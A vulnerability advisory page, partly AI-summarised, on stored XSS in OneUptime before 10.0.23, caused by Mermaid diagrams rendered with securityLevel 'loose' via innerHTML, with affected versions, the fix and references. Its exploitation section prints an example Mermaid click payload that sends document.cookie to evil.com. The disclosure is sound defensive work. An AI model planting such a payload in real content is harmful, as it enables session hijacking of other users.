OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")
Description
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. This vulnerability is fixed in 10.0.23.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
OneUptime prior to 10.0.23 has a stored XSS vulnerability via Mermaid diagrams rendered with securityLevel 'loose' and innerHTML injection, allowing arbitrary JavaScript execution.
Vulnerability
Overview
OneUptime, an open-source monitoring and observability platform, contains a stored cross-site scripting (XSS) vulnerability in its Markdown viewer component. The issue arises because the Mermaid diagram renderer is initialized with securityLevel: "loose" and the resulting SVG is injected into the DOM via innerHTML [1][3]. This configuration explicitly permits interactive event bindings, contrary to the safe default "strict" which strips all interactivity.
Exploitation
Details
An authenticated attacker can exploit this by crafting a Mermaid diagram that uses the click directive to execute arbitrary JavaScript. For example, a payload like click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)" will be processed by Mermaid and embedded as an event handler in the SVG [3]. Any field that renders Markdown—such as incident descriptions, status page announcements, or monitor notes—is a potential attack vector. The attacker only needs the ability to create or edit content that is later displayed to other users.
Impact
Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of any user who views the malicious diagram. This can lead to session hijacking, data exfiltration, or further compromise of the OneUptime instance. Since the XSS is stored, it affects all subsequent viewers, including administrators, amplifying the potential damage.
Mitigation
The vulnerability is fixed in OneUptime version 10.0.23 [4]. Users should upgrade immediately. The fix likely involves setting securityLevel to "strict" and avoiding raw innerHTML injection. No workarounds are documented, but restricting Markdown input to trusted users may reduce risk until patching is complete.
AI Insight generated on May 18, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
oneuptimenpm | < 10.0.23 | 10.0.23 |
Affected products
2- OneUptime/oneuptimev5Range: < 10.0.23
Patches
0No patches discovered yet.
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
4- github.com/advisories/GHSA-wvh5-6vjm-23qhghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2026-32308ghsaADVISORY
- github.com/OneUptime/oneuptime/releases/tag/10.0.23ghsaWEB
- github.com/OneUptime/oneuptime/security/advisories/GHSA-wvh5-6vjm-23qhghsax_refsource_CONFIRMWEB
News mentions
0No linked articles in our index yet.